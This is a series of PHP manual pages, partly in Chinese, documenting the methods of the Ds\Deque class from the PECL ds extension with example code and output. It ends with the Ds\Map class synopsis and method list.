  • Creates a new instance

Ds\Deque::__construct

(PECL ds >= 1.0.0)

Ds\Deque::__construct — Creates a new instance

说明

public Ds\Deque::__construct(mixed $values = ?)

Creates a new instance, using either a traversable object or an array for the initial values.

参数

values

A traversable object or an array to use for the initial values.

示例

Example #1 Ds\Deque::__construct() example

<?php
$deque = new \Ds\Deque();
var_dump($deque);

$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque);
?>

以上示例的输出类似于：

object(Ds\Deque)#2 (0) {
}
object(Ds\Deque)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Determines if the deque contains given values

  • ? Ds\Deque::__construct
  • Ds\Deque::copy ?
  • PHP Manual
  • Ds\Deque
  • Determines if the deque contains given values

Ds\Deque::contains

(PECL ds >= 1.0.0)

Ds\Deque::contains — Determines if the deque contains given values

说明

public Ds\Deque::contains(mixed ...$values): bool

Determines if the deque contains all values.

参数

values

Values to check.

返回值

false if any of the provided values are not in the deque, true otherwise.

示例

Example #1 Ds\Deque::contains() example

<?php
$deque = new \Ds\Deque(['a', 'b', 'c', 1, 2, 3]);

var_dump($deque->contains('a')); // true
var_dump($deque->contains('a', 'b')); // true
var_dump($deque->contains('c', 'd')); // false

var_dump($deque->contains(...['c', 'b', 'a'])); // true

// Always strict
var_dump($deque->contains(1)); // true
var_dump($deque->contains('1')); // false

var_dump($sequece->contains(...[])); // true
?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the deque

  • ? Ds\Deque::contains
  • Ds\Deque::count ?
  • PHP Manual
  • Ds\Deque
  • Returns a shallow copy of the deque

Ds\Deque::copy

(PECL ds >= 1.0.0)

Ds\Deque::copy — Returns a shallow copy of the deque

说明

public Ds\Deque::copy(): Ds\Deque

Returns a shallow copy of the deque.

参数

此函数没有参数。

返回值

A shallow copy of the deque.

示例

Example #1 Ds\Deque::copy() example

<?php
$a = new \Ds\Deque([1, 2, 3]);
$b = $a->copy();

$b->push(4);

print_r($a);
print_r($b);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the collection

  • ? Ds\Deque::copy
  • Ds\Deque::filter ?
  • PHP Manual
  • Ds\Deque
  • Returns the number of values in the collection

Ds\Deque::count

(PECL ds >= 1.0.0)

Ds\Deque::count — Returns the number of values in the collection

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Creates a new deque using a callable to determine which values to include

  • ? Ds\Deque::count
  • Ds\Deque::find ?
  • PHP Manual
  • Ds\Deque
  • Creates a new deque using a callable to determine which values to include

Ds\Deque::filter

(PECL ds >= 1.0.0)

Ds\Deque::filter — Creates a new deque using a callable to determine which values to include

说明

public Ds\Deque::filter(callable $callback = ?): Ds\Deque

Creates a new deque using a callable to determine which values to include.

参数

callback

callback(mixed $value): bool

Optional callable which returns true if the value should be included, false otherwise.

If a callback is not provided, only values which are true (see converting to boolean) will be included.

返回值

A new deque containing all the values for which either the callback returned true, or all values that convert to true if a callback was not provided.

示例

Example #1 Ds\Deque::filter() example using callback function

<?php
$deque = new \Ds\Deque([1, 2, 3, 4, 5]);

var_dump($deque->filter(function($value) {
return $value % 2 == 0;
}));
?>

以上示例的输出类似于：

object(Ds\Deque)#3 (2) {
  [0]=>
  int(2)
  [1]=>
  int(4)
}

Example #2 Ds\Deque::filter() example without a callback function

<?php
$deque = new \Ds\Deque([0, 1, 'a', true, false]);

var_dump($deque->filter());
?>

以上示例的输出类似于：

object(Ds\Deque)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  string(1) "a"
  [2]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


Attempts to find a value's index

  • ? Ds\Deque::filter
  • Ds\Deque::first ?
  • PHP Manual
  • Ds\Deque
  • Attempts to find a value's index

Ds\Deque::find

(PECL ds >= 1.0.0)

Ds\Deque::find — Attempts to find a value's index

说明

public Ds\Deque::find(mixed $value): mixed

Returns the index of the value, or false if not found.

参数

value

The value to find.

返回值

The index of the value, or false if not found.

Note:

Values will be compared by value and by type.

示例

Example #1 Ds\Deque::find() example

<?php
$deque = new \Ds\Deque(["a", 1, true]);

var_dump($deque->find("a")); // 0
var_dump($deque->find("b")); // false
var_dump($deque->find("1")); // false
var_dump($deque->find(1)); // 1
?>

以上示例的输出类似于：

int(0)
bool(false)
bool(false)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the first value in the deque

  • ? Ds\Deque::find
  • Ds\Deque::get ?
  • PHP Manual
  • Ds\Deque
  • Returns the first value in the deque

Ds\Deque::first

(PECL ds >= 1.0.0)

Ds\Deque::first — Returns the first value in the deque

说明

public Ds\Deque::first(): mixed

Returns the first value in the deque.

参数

此函数没有参数。

返回值

The first value in the deque.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Deque::first() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->first());
?>

以上示例的输出类似于：

int(1)

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at a given index

  • ? Ds\Deque::first
  • Ds\Deque::insert ?
  • PHP Manual
  • Ds\Deque
  • Returns the value at a given index

Ds\Deque::get

(PECL ds >= 1.0.0)

Ds\Deque::get — Returns the value at a given index

说明

public Ds\Deque::get(int $index): mixed

Returns the value at a given index.

参数

index

The index to access, starting at 0.

返回值

The value at the requested index.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Deque::get() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->get(0));
var_dump($deque->get(1));
var_dump($deque->get(2));
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

Example #2 Ds\Deque::get() example using array syntax

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque[0]);
var_dump($deque[1]);
var_dump($deque[2]);
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Inserts values at a given index

  • ? Ds\Deque::get
  • Ds\Deque::isEmpty ?
  • PHP Manual
  • Ds\Deque
  • Inserts values at a given index

Ds\Deque::insert

(PECL ds >= 1.0.0)

Ds\Deque::insert — Inserts values at a given index

说明

public Ds\Deque::insert(int $index, mixed ...$values): void

Inserts values into the deque at a given index.

参数

index

The index at which to insert. 0 <= index <= count

Note:

You can insert at the index equal to the number of values.

values

The value or values to insert.

返回值

没有返回值。

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Deque::insert() example

<?php
$deque = new \Ds\Deque();

$deque->insert(0, "e"); // [e]
$deque->insert(1, "f"); // [e, f]
$deque->insert(2, "g"); // [e, f, g]
$deque->insert(0, "a", "b"); // [a, b, e, f, g]
$deque->insert(2, ...["c", "d"]); // [a, b, c, d, e, f, g]

var_dump($deque);
?>

以上示例的输出类似于：

object(Ds\Deque)#1 (7) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "f"
  [6]=>
  string(1) "g"
}

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the deque is empty

  • ? Ds\Deque::insert
  • Ds\Deque::join ?
  • PHP Manual
  • Ds\Deque
  • Returns whether the deque is empty

Ds\Deque::isEmpty

(PECL ds >= 1.0.0)

Ds\Deque::isEmpty — Returns whether the deque is empty

说明

public Ds\Deque::isEmpty(): bool

Returns whether the deque is empty.

参数

此函数没有参数。

返回值

Returns true if the deque is empty, false otherwise.

示例

Example #1 Ds\Deque::isEmpty() example

<?php
$a = new \Ds\Deque([1, 2, 3]);
$b = new \Ds\Deque();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

以上示例的输出类似于：

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Joins all values together as a string

  • ? Ds\Deque::isEmpty
  • Ds\Deque::jsonSerialize ?
  • PHP Manual
  • Ds\Deque
  • Joins all values together as a string

Ds\Deque::join

(PECL ds >= 1.0.0)

Ds\Deque::join — Joins all values together as a string

说明

public Ds\Deque::join(string $glue = ?): string

Joins all values together as a string using an optional separator between each value.

参数

glue

An optional string to separate each value.

返回值

All values of the deque joined together as a string.

示例

Example #1 Ds\Deque::join() example using a separator string

<?php
$deque = new \Ds\Deque(["a", "b", "c", 1, 2, 3]);

var_dump($deque->join("|"));
?>

以上示例的输出类似于：

string(11) "a|b|c|1|2|3"

Example #2 Ds\Deque::join() example without a separator string

<?php
$deque = new \Ds\Deque(["a", "b", "c", 1, 2, 3]);

var_dump($deque->join());
?>

以上示例的输出类似于：

string(11) "abc123"

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? Ds\Deque::join
  • Ds\Deque::last ?
  • PHP Manual
  • Ds\Deque
  • Returns a representation that can be converted to JSON

Ds\Deque::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Deque::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

Note:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the last value

  • ? Ds\Deque::jsonSerialize
  • Ds\Deque::map ?
  • PHP Manual
  • Ds\Deque
  • Returns the last value

Ds\Deque::last

(PECL ds >= 1.0.0)

Ds\Deque::last — Returns the last value

说明

public Ds\Deque::last(): mixed

Returns the last value in the deque.

参数

此函数没有参数。

返回值

The last value in the deque.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Deque::last() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->last());
?>

以上示例的输出类似于：

int(3)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of applying a callback to each value

  • ? Ds\Deque::last
  • Ds\Deque::merge ?
  • PHP Manual
  • Ds\Deque
  • Returns the result of applying a callback to each value

Ds\Deque::map

(PECL ds >= 1.0.0)

Ds\Deque::map — Returns the result of applying a callback to each value

说明

public Ds\Deque::map(callable $callback): Ds\Deque

Returns the result of applying a callback function to each value in the deque.

参数

callback

callback(mixed $value): mixed

A callable to apply to each value in the deque.

The callable should return what the new value will be in the new deque.

返回值

The result of applying a callback to each value in the deque.

Note:

The values of the current instance won't be affected.

示例

Example #1 Ds\Deque::map() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

print_r($deque->map(function($value) { return $value * 2; }));
print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 2
    [1] => 4
    [2] => 6
)
Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the result of adding all given values to the deque

  • ? Ds\Deque::map
  • Ds\Deque::pop ?
  • PHP Manual
  • Ds\Deque
  • Returns the result of adding all given values to the deque

Ds\Deque::merge

(PECL ds >= 1.0.0)

Ds\Deque::merge — Returns the result of adding all given values to the deque

说明

public Ds\Deque::merge(mixed $values): Ds\Deque

Returns the result of adding all given values to the deque.

参数

values

A traversable object or an array.

返回值

The result of adding all given values to the deque, effectively the same as adding the values to a copy, then returning that copy.

Note:

The current instance won't be affected.

示例

Example #1 Ds\Deque::merge() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->merge([4, 5, 6]));
var_dump($deque);
?>

以上示例的输出类似于：

object(Ds\Deque)#2 (6) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [3]=>
  int(4)
  [4]=>
  int(5)
  [5]=>
  int(6)
}
object(Ds\Deque)#1 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the last value

  • ? Ds\Deque::merge
  • Ds\Deque::push ?
  • PHP Manual
  • Ds\Deque
  • Removes and returns the last value

Ds\Deque::pop

(PECL ds >= 1.0.0)

Ds\Deque::pop — Removes and returns the last value

说明

public Ds\Deque::pop(): mixed

Removes and returns the last value.

参数

此函数没有参数。

返回值

The removed last value.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Deque::pop() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->pop());
var_dump($deque->pop());
var_dump($deque->pop());
?>

以上示例的输出类似于：

int(3)
int(2)
int(1)

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the end of the deque

  • ? Ds\Deque::pop
  • Ds\Deque::reduce ?
  • PHP Manual
  • Ds\Deque
  • Adds values to the end of the deque

Ds\Deque::push

(PECL ds >= 1.0.0)

Ds\Deque::push — Adds values to the end of the deque

说明

public Ds\Deque::push(mixed ...$values): void

Adds values to the end of the deque.

参数

values

The values to add.

返回值

没有返回值。

示例

Example #1 Ds\Deque::push() example

<?php
$deque = new \Ds\Deque();

$deque->push("a");
$deque->push("b");
$deque->push("c", "d");
$deque->push(...["e", "f"]);

print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Reduces the deque to a single value using a callback function

  • ? Ds\Deque::push
  • Ds\Deque::remove ?
  • PHP Manual
  • Ds\Deque
  • Reduces the deque to a single value using a callback function

Ds\Deque::reduce

(PECL ds >= 1.0.0)

Ds\Deque::reduce — Reduces the deque to a single value using a callback function

说明

public Ds\Deque::reduce(callable $callback, mixed $initial = ?): mixed

Reduces the deque to a single value using a callback function.

参数

callback
callback(mixed $carry, mixed $value): mixed
carry

The return value of the previous callback, or initial if it's the first iteration.

value

The value of the current iteration.

initial

The initial value of the carry value. Can be null.

返回值

The return value of the final callback.

示例

Example #1 Ds\Deque::reduce() with initial value example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

$callback = function($carry, $value) {
return $carry * $value;
};

var_dump($deque->reduce($callback, 5));

// Iterations:
//
// $carry = $initial = 5
//
// $carry = $carry * 1 = 5
// $carry = $carry * 2 = 10
// $carry = $carry * 3 = 30
?>

以上示例的输出类似于：

int(30)

Example #2 Ds\Deque::reduce() without an initial value example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->reduce(function($carry, $value) {
return $carry + $value + 5;
}));

// Iterations:
//
// $carry = $initial = null
//
// $carry = $carry + 1 + 5 = 6
// $carry = $carry + 2 + 5 = 13
// $carry = $carry + 3 + 5 = 21
?>

以上示例的输出类似于：

int(21)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns a value by index

  • ? Ds\Deque::reduce
  • Ds\Deque::reverse ?
  • PHP Manual
  • Ds\Deque
  • Removes and returns a value by index

Ds\Deque::remove

(PECL ds >= 1.0.0)

Ds\Deque::remove — Removes and returns a value by index

说明

public Ds\Deque::remove(int $index): mixed

Removes and returns a value by index.

参数

index

The index of the value to remove.

返回值

The value that was removed.

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Deque::remove() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->remove(1));
var_dump($deque->remove(0));
var_dump($deque->remove(0));
?>

以上示例的输出类似于：

string(1) "b"
string(1) "a"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Reverses the deque in-place

  • ? Ds\Deque::remove
  • Ds\Deque::reversed ?
  • PHP Manual
  • Ds\Deque
  • Reverses the deque in-place

Ds\Deque::reverse

(PECL ds >= 1.0.0)

Ds\Deque::reverse — Reverses the deque in-place

说明

public Ds\Deque::reverse(): void

Reverses the deque in-place.

参数

此函数没有参数。

返回值

没有返回值。

示例

Example #1 Ds\Deque::reverse() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);
$deque->reverse();

print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => c
    [1] => b
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a reversed copy

  • ? Ds\Deque::reverse
  • Ds\Deque::rotate ?
  • PHP Manual
  • Ds\Deque
  • Returns a reversed copy

Ds\Deque::reversed

(PECL ds >= 1.0.0)

Ds\Deque::reversed — Returns a reversed copy

说明

public Ds\Deque::reversed(): Ds\Deque

Returns a reversed copy of the deque.

参数

此函数没有参数。

返回值

A reversed copy of the deque.

Note:

The current instance is not affected.

示例

Example #1 Ds\Deque::reversed() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

print_r($deque->reversed());
print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => c
    [1] => b
    [2] => a
)
Ds\Deque Object
(
    [0] => a
    [1] => b
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Rotates the deque by a given number of rotations

  • ? Ds\Deque::reversed
  • Ds\Deque::set ?
  • PHP Manual
  • Ds\Deque
  • Rotates the deque by a given number of rotations

Ds\Deque::rotate

(PECL ds >= 1.0.0)

Ds\Deque::rotate — Rotates the deque by a given number of rotations

说明

public Ds\Deque::rotate(int $rotations): void

Rotates the deque by a given number of rotations, which is equivalent to successively calling $deque->push($deque->shift()) if the number of rotations is positive, or $deque->unshift($deque->pop()) if negative.

参数

rotations

The number of times the deque should be rotated.

返回值

没有返回值。. The deque of the current instance will be rotated.

示例

Example #1 Ds\Deque::rotate() example

<?php
$deque = new \Ds\Deque(["a", "b", "c", "d"]);

$deque->rotate(1); // "a" is shifted, then pushed.
print_r($deque);

$deque->rotate(2); // "b" and "c" are both shifted, the pushed.
print_r($deque);
?>

以上示例的输出类似于：

(
    [0] => b
    [1] => c
    [2] => d
    [3] => a
)
Ds\Deque Object
(
    [0] => d
    [1] => a
    [2] => b
    [3] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Updates a value at a given index

  • ? Ds\Deque::rotate
  • Ds\Deque::shift ?
  • PHP Manual
  • Ds\Deque
  • Updates a value at a given index

Ds\Deque::set

(PECL ds >= 1.0.0)

Ds\Deque::set — Updates a value at a given index

说明

public Ds\Deque::set(int $index, mixed $value): void

Updates a value at a given index.

参数

index

The index of the value to update.

value

The new value.

返回值

没有返回值。

错误／异常

OutOfRangeException if the index is not valid.

示例

Example #1 Ds\Deque::set() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

$deque->set(1, "_");
print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => a
    [1] => _
    [2] => c
)

Example #2 Ds\Deque::set() example using array syntax

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

$deque[1] = "_";
print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => a
    [1] => _
    [2] => c
)

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the first value

  • ? Ds\Deque::set
  • Ds\Deque::slice ?
  • PHP Manual
  • Ds\Deque
  • Removes and returns the first value

Ds\Deque::shift

(PECL ds >= 1.0.0)

Ds\Deque::shift — Removes and returns the first value

说明

public Ds\Deque::shift(): mixed

Removes and returns the first value.

参数

此函数没有参数。

返回值

The first value, which was removed.

错误／异常

UnderflowException if empty.

示例

Example #1 Ds\Deque::shift() example

<?php
$deque = new \Ds\Deque(["a", "b", "c"]);

var_dump($deque->shift());
var_dump($deque->shift());
var_dump($deque->shift());
?>

以上示例的输出类似于：

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Returns a sub-deque of a given range

  • ? Ds\Deque::shift
  • Ds\Deque::sort ?
  • PHP Manual
  • Ds\Deque
  • Returns a sub-deque of a given range

Ds\Deque::slice

(PECL ds >= 1.0.0)

Ds\Deque::slice — Returns a sub-deque of a given range

说明

public Ds\Deque::slice(int $index, int $length = ?): Ds\Deque

Creates a sub-deque of a given range.

参数

index

The index at which the sub-deque starts.

If positive, the deque will start at that index in the deque. If negative, the deque will start that far from the end.

length

If a length is given and is positive, the resulting deque will have up to that many values in it. If the length results in an overflow, only values up to the end of the deque will be included. If a length is given and is negative, the deque will stop that many values from the end. If a length is not provided, the resulting deque will contain all values between the index and the end of the deque.

返回值

A sub-deque of the given range.

示例

Example #1 Ds\Deque::slice() example

<?php
$deque = new \Ds\Deque(["a", "b", "c", "d", "e"]);

// Slice from 2 onwards
print_r($deque->slice(2));

// Slice from 1, for a length of 3
print_r($deque->slice(1, 3));

// Slice from 1 onwards
print_r($deque->slice(1));

// Slice from 2 from the end onwards
print_r($deque->slice(-2));

// Slice from 1 to 1 from the end
print_r($deque->slice(1, -1));
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => c
    [1] => d
    [2] => e
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
    [3] => e
)
Ds\Deque Object
(
    [0] => d
    [1] => e
)
Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => d
)

User Contributed Notes

There are no user contributed notes for this page.


Sorts the deque in-place

  • ? Ds\Deque::slice
  • Ds\Deque::sorted ?
  • PHP Manual
  • Ds\Deque
  • Sorts the deque in-place

Ds\Deque::sort

(PECL ds >= 1.0.0)

Ds\Deque::sort — Sorts the deque in-place

说明

public Ds\Deque::sort(callable $comparator = ?): void

Sorts the deque in-place, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

没有返回值。

示例

Example #1 Ds\Deque::sort() example

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);
$deque->sort();

print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Deque::sort() example using a comparator

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

$deque->sort(function($a, $b) {
return $b <=> $a;
});

print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns a sorted copy

  • ? Ds\Deque::sort
  • Ds\Deque::sum ?
  • PHP Manual
  • Ds\Deque
  • Returns a sorted copy

Ds\Deque::sorted

(PECL ds >= 1.0.0)

Ds\Deque::sorted — Returns a sorted copy

说明

public Ds\Deque::sorted(callable $comparator = ?): Ds\Deque

Returns a sorted copy, using an optional comparator function.

参数

comparator

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

Returns a sorted copy of the deque.

示例

Example #1 Ds\Deque::sorted() example

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

print_r($deque->sorted());
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
)

Example #2 Ds\Deque::sorted() example using a comparator

<?php
$deque = new \Ds\Deque([4, 5, 1, 3, 2]);

$sorted = $deque->sorted(function($a, $b) {
return $b <=> $a;
});

print_r($sorted);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => 5
    [1] => 4
    [2] => 3
    [3] => 2
    [4] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the sum of all values in the deque

  • ? Ds\Deque::sorted
  • Ds\Deque::toArray ?
  • PHP Manual
  • Ds\Deque
  • Returns the sum of all values in the deque

Ds\Deque::sum

(PECL ds >= 1.0.0)

Ds\Deque::sum — Returns the sum of all values in the deque

说明

public Ds\Deque::sum(): int|float

Returns the sum of all values in the deque.

Note:

Arrays and objects are considered equal to zero when calculating the sum.

参数

此函数没有参数。

返回值

The sum of all the values in the deque as either a float or int depending on the values in the deque.

示例

Example #1 Ds\Deque::sum() integer example

<?php
$deque = new \Ds\Deque([1, 2, 3]);
var_dump($deque->sum());
?>

以上示例的输出类似于：

int(6)

Example #2 Ds\Deque::sum() float example

<?php
$deque = new \Ds\Deque([1, 2.5, 3]);
var_dump($deque->sum());
?>

以上示例的输出类似于：

float(6.5)

User Contributed Notes

There are no user contributed notes for this page.


Converts the deque to an array

  • ? Ds\Deque::sum
  • Ds\Deque::unshift ?
  • PHP Manual
  • Ds\Deque
  • Converts the deque to an array

Ds\Deque::toArray

(PECL ds >= 1.0.0)

Ds\Deque::toArray — Converts the deque to an array

说明

public Ds\Deque::toArray(): array

Converts the deque to an array.

Note:

Casting to an array is not supported yet.

参数

此函数没有参数。

返回值

An array containing all the values in the same order as the deque.

示例

Example #1 Ds\Deque::toArray() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

var_dump($deque->toArray());
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Adds values to the front of the deque

  • ? Ds\Deque::toArray
  • Ds\Map ?
  • PHP Manual
  • Ds\Deque
  • Adds values to the front of the deque

Ds\Deque::unshift

(PECL ds >= 1.0.0)

Ds\Deque::unshift — Adds values to the front of the deque

说明

public Ds\Deque::unshift(mixed $values = ?): void

Adds values to the front of the deque, moving all the current values forward to make room for the new values.

参数

values

The values to add to the front of the deque.

Note:

Multiple values will be added in the same order that they are passed.

返回值

没有返回值。

示例

Example #1 Ds\Deque::unshift() example

<?php
$deque = new \Ds\Deque([1, 2, 3]);

$deque->unshift("a");
$deque->unshift("b", "c");

print_r($deque);
?>

以上示例的输出类似于：

Ds\Deque Object
(
    [0] => b
    [1] => c
    [2] => a
    [3] => 1
    [4] => 2
    [5] => 3
)

User Contributed Notes

hugo at fc dot up dot pt 10-Jul-2020 12:46
Where the documentation says "moving all the current values forward", while it sounds like the complexity would be O(N), I checked the code at https://github.com/php-ds/ext-ds/blob/master/src/ds/ds_deque.c#L366 and it is in fact O(1) for each element


The Map class

(PECL ds >= 1.0.0)

简介

A Map is a sequential collection of key-value pairs, almost identical to an array used in a similar context. Keys can be any type, but must be unique. Values are replaced if added to the map using the same key.

Strengths

  • Keys and values can be any type, including objects.
  • Supports array syntax (square brackets).
  • Insertion order is preserved.
  • Performance and memory efficiency is very similar to an array.
  • Automatically frees allocated memory when its size drops low enough.

Weaknesses

  • Can't be converted to an array when objects are used as keys.

类摘要

class Ds\Map implements Ds\Collection, ArrayAccess {
/* 常量 */
const int MIN_CAPACITY = 16;
/* 方法 */
public allocate(int $capacity): void
public apply(callable $callback): void
public capacity(): int
public clear(): void
public copy(): Ds\Map
public diff(Ds\Map $map): Ds\Map
public filter(callable $callback = ?): Ds\Map
public first(): Ds\Pair
public get(mixed $key, mixed $default = ?): mixed
public hasKey(mixed $key): bool
public hasValue(mixed $value): bool
public intersect(Ds\Map $map): Ds\Map
public isEmpty(): bool
public keys(): Ds\Set
public ksort(callable $comparator = ?): void
public ksorted(callable $comparator = ?): Ds\Map
public last(): Ds\Pair
public map(callable $callback): Ds\Map
public merge(mixed $values): Ds\Map
public pairs(): Ds\Sequence
public put(mixed $key, mixed $value): void
public putAll(mixed $pairs): void
public reduce(callable $callback, mixed $initial = ?): mixed
public remove(mixed $key, mixed $default = ?): mixed
public reverse(): void
public reversed(): Ds\Map
public skip(int $position): Ds\Pair
public slice(int $index, int $length = ?): Ds\Map
public sort(callable $comparator = ?): void
public sorted(callable $comparator = ?): Ds\Map
public sum(): int|float
public toArray(): array
public union(Ds\Map $map): Ds\Map
public values(): Ds\Sequence
public xor(Ds\Map $map): Ds\Map
}

预定义常量

Ds\Map::MIN_CAPACITY

更新日志

版本 | 说明
PECL ds 1.3.0 | The class now implements ArrayAccess.

Table of Contents

  • Ds\Map::allocate — Allocates enough memory for a required capacity
  • Ds\Map::apply — Updates all values by applying a callback function to each value
  • Ds\Map::capacity — Returns the current capacity
  • Ds\Map::clear — Removes all values
  • Ds\Map::__construct — Creates a new instance
  • Ds\Map::copy — Returns a shallow copy of the map
  • Ds\Map::count — Returns the number of values in the map
  • Ds\Map::diff — Creates a new map using keys that aren't in another map
  • Ds\Map::filter — Creates a new map using a callable to determine which pairs to include
  • Ds\Map::first — Returns the first pair in the map
  • Ds\Map::get — Returns the value for a given key
  • Ds\Map::hasKey — Determines whether the map contains a given key
  • Ds\Map::hasValue — Determines whether the map contains a given value
  • Ds\Map::intersect — Creates a new map by intersecting keys with another map
  • Ds\Map::isEmpty — Returns whether the map is empty
  • Ds\Map::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Map::keys — Returns a set of the map's keys
  • Ds\Map::ksort — Sorts the map in-place by key
  • Ds\Map::ksorted — Returns a copy, sorted by key
  • Ds\Map::last — Returns the last pair of the map
  • Ds\Map::map — Returns the result of applying a callback to each value
  • Ds\Map::merge — Returns the result of adding all given associations
  • Ds\Map::pairs — Returns a sequence containing all the pairs of the map
  • Ds\Map::put — Associates a key with a value
  • Ds\Map::putAll — Associates all key-value pairs of a traversable object or array
  • Ds\Map::reduce — Reduces the map to a single value using a callback function
  • Ds\Map::remove — Removes and returns a value by key
  • Ds\Map::reverse — Reverses the map in-place
  • Ds\Map::reversed — Returns a reversed copy
  • Ds\Map::skip — Returns the pair at a given positional index
  • Ds\Map::slice — Returns a subset of the map defined by a starting index and length
  • Ds\Map::sort — Sorts the map in-place by value
  • Ds\Map::sorted — Returns a copy, sorted by value
  • Ds\Map::sum — Returns the sum of all values in the map
